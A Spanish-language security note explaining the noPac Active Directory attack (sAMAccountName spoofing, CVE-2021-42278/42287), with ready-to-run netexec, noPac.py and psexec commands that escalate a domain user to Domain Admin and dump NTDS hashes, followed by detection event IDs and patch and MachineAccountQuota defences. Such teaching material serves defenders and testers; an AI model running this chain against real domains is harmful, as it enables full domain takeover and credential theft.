sAMAccountName Spoofing (noPac)

El sAMAccountName spoofing, conocido como noPac (CVE-2021-42278 + CVE-2021-42287), permite que un usuario de dominio sin privilegios se convierta en Administrador del dominio aprovechando cómo el KDC resuelve las cuentas de máquina. Es uno de los caminos más rápidos a Domain Admin en un DC sin parchear.

En qué se basa. Por defecto, un usuario puede crear hasta 10 cuentas de equipo (ms-DS-MachineAccountQuota). El ataque crea una cuenta de máquina y la renombra para que coincida con el nombre del DC (por ejemplo DC01, sin el $ final). Se pide un TGT para esa cuenta y luego se vuelve a renombrar; cuando el KDC recibe un S4U2Self y no encuentra la cuenta renombrada, cae sobre la del DC y emite un PAC con sus privilegios. El resultado es un ticket de servicio como Administrador contra el DC.

Cómo se ejecuta. La cadena completa está automatizada en noPac.py de Impacket:

# comprobar que MachineAccountQuota > 0 y que el DC es vulnerable
netexec ldap <ip> -u <user> -p <pass> -M maq
netexec smb <ip> -u <user> -p <pass> -M nopac
# cadena completa con impacket
python3 noPac.py <domain>/<user>:<pass> -dc-ip <ip> --impersonate administrator -use-ldap -dump
KRB5CCNAME=administrator.ccache psexec.py -k -no-pass <domain>/administrator@<dc>

Con -dump la propia herramienta lanza un secretsdump (volcado del NTDS) tras conseguir el ticket, cerrando la toma del dominio en un solo paso.

Requisitos. MachineAccountQuota > 0 (por defecto 10) y un DC sin los parches de noviembre de

1. No hace falta ningún privilegio especial más allá de una cuenta de dominio válida.

Cómo detectarlo. Buscar la creación de una cuenta de equipo (Event ID 4741) seguida en segundos por cambios de nombre de esa cuenta (Event ID 4781) y por peticiones de ticket (4769) para una cuenta con el nombre de un DC. La secuencia crear -> renombrar-a-DC -> pedir TGT -> renombrar es muy característica.

Defensa. Aplicar los parches (KB5008102/KB5008380), poner ms-DS-MachineAccountQuota a 0 para que los usuarios no puedan crear cuentas de máquina, y monitorizar renombrados de cuentas de equipo. Relacionado con la delegación restringida (usa la misma extensión S4U) y con el Silver Ticket.